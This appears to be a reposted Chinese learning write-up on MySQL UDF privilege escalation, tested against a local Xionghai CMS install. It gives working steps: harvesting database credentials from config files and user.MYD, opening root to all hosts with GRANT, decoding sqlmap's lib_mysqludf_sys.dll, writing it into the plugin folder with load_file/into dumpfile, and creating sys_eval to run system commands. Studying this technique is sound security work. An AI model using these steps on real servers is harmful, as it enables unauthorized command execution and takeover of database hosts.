MySQL数据库UDF提权学习
Posted Goodric
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL数据库UDF提权学习相关的知识,希望对你有一定的参考价值。
mysql数据库UDF提权学习
——
数据库提权的前提条件:
服务器开启数据库服务及获取到最高权限用户密码。
除Access数据库外,其他数据库基本都存在数据库提权的可能。
——
——
获取数据库用户密码的几个方法
1、从网站的根目录配置文件中寻找
我这里以熊海cms1.0为例,网上下载的源码并且搭建在了本地的phpstudy中。
到网站根目录里找。
可以根据文件名中敏感的关键字 conn、config、data、sql、common 、inc等去一个个打开查看内容。
也可以用审计工具去全局搜索关键字。
打开这个文件,可以直接看到记录的数据库配置信息。
——
2、从mysql数据库安装路径下的配置文件中寻找
/data/mysql/user.myd和user.myi 文件中可能有
打开user.myd ,看到里面有很多经过加密的密码。
然后把那一串进行解密。得到密码root
——
3、暴力破解
而进行暴力破解数据库密码,前提也要数据库支持外部连接,否则无法爆破出密码。
可以用脚本或工具进行爆破,同时也要准备爆破字典,都可以在网上进行下载。
而脚本常见的有php版的和python版的。
相对来说,用php语言写的可以避免数据库不支持外部连接。因为在getshell的条件下直接把php语言的mysql爆破脚本上传到目标服务器上,相当于是服务器直接进行本地爆破。
即就算目标mysql不支持外联,同样可以爆破。
*前面所说的获取数据库用户密码,除了暴力破解,都是建立在webshell的条件下获取。webshell是到当前用户权限,而数据库提权也只能提权到当前用户权限,那就好像~~
——
——
未开启外部连接的情况
会出现这样的错误,显示不允许连接到mysql服务。
ERROR 1130 (HY000): Host ‘192.168.43.153’ is not allowed to connect to this MySQL server
先通过本地连接mysql查看到只能通过localhost连接root用户。
执行语句,让所有ip都可以连接到这个mysql服务。
root@后面的%就是代表任何主机可连接,若需要指定某台主机可连接,把%的位置换成对应IP即可。
GRANT ALL PRIVILEGES ON . TO root@“%” IDENTIFIED BY “root”;
再次查看user表中的host和user列可以看到,多了一条数据host:% user:root
进行刷新, 从mysql数据库的grant表中重新加载权限数据
FLUSH PRIVILEGES;
这样,就相当于开启了外部连接了,本来会报错,现在已经可以连接上了。
——
——
MySQL数据库udf提权
MySQL数据库有多种提权方式,这里先只测试udf提权方式。
udf提权
udf(user defined function,用户自定义函数),
mysql的一个拓展接口,通过添加自定义函数,并且我们能够在MySQL中使用这个函数,达到对MySQL功能的扩充。
udf提权的条件:
能够远程登录上mysql
mysql有写入文件的权限,即secure_file_priv的值为空。
——
前提条件查看
执行语句查看变量secure_file_priv的值。
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
看到我这里secure_file_priv的值并不是空,而是null。
可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv=‘’
再次查看secure_file_priv的值为空。
——
上传udf的动态链接库文件
动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linux环境下后缀名为.so 。我们要将该文件放在特定的目录中,该文件中包含了执行系统命令的一些函数
而这个动态链接库文件(.dll或.so)上传到哪一个位置,根据MySQL版本也有所区别
小于mysql5.1版本
C:\\WINDOWS\\udf.dll 或 C:\\WINDOWS\\system32\\udf.dll
大于等于mysql5.1版本
lib\\plugin\\udf.dll (也就是在安装路径下)
我这里版本大于5.1 ,所以是上传到lib\\plugin\\udf.dll位置。
可以用select @@plugin_dir 查询plugin路径
但实际上plugin文件夹默认不存在,就只能自己创建了。我这里是5.7版本的。(条件似乎有点多~)
而说到要上传的这个dll文件,就要自己网上或者哪里找了,一些大马上面有这个功能,可以一键导入。
在sqlmap和msf里面也有内置。
sqlmap\\data\\udf\\mysql 路径下Windows和Linux版本都有。
通过语句
select @@version_compile_os, @@version_compile_machine;
查看当前数据库和操作系统的情况。则确定使用Windows和64位的dll文件。
sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用,原本后缀名为 .dll_ 和 .so_ ,需要进行解码。
sqlmap也自带了解码的py脚本,在 sqlmap/extra/cloak目录下
在此路径下执行解码命令:
python3 cloak.py -d -i E:\\all-tools\\sqlmap\\data\\udf\\mysql\\windows\\64\\lib_mysqludf_sys.dll_
然后在刚刚的dll目录下就生成了解码后的文件。
然后就是把这个文件导入到\\lib\\plugin文件内了。
需要先通过webshell情况下或者一些文件上传漏洞把这个dll文件上传到可读写的文件夹,然后通过mysql语句再将这个文件移动到\\lib\\plugin文件夹里。比如这里从网站根目录移动到**\\lib\\plugin**文件夹。
sql语句:
select load_file(‘E:\\\\phpstudy_pro\\\\WWW\\\\lib_mysqludf_sys.dll’) into dumpfile ‘E:\\\\phpstudy_pro\\\\Extensions\\\\MySQL5.7.26\\\\lib\\plugin\\\\lib_mysqludf_sys.dll’;
dll文件移动到到 plugin文件夹中
——
创建自定义函数
函数名为sys_eval,还要用到前面导入的dll文件,udf.dll 的位置代表共享包名称
引用共享库文件创建存储过程:
create function sys_eval returns string soname “lib_mysqludf_sys.dll”;
查看函数
select * from mysql.func;
可以看到成功 创建了sys_eval函数
现在就可以使用该函数执行系统命令了。
如:
select sys_eval(‘whoami’)
过程结束。
以上是关于MySQL数据库UDF提权学习的主要内容,如果未能解决你的问题,请参考以下文章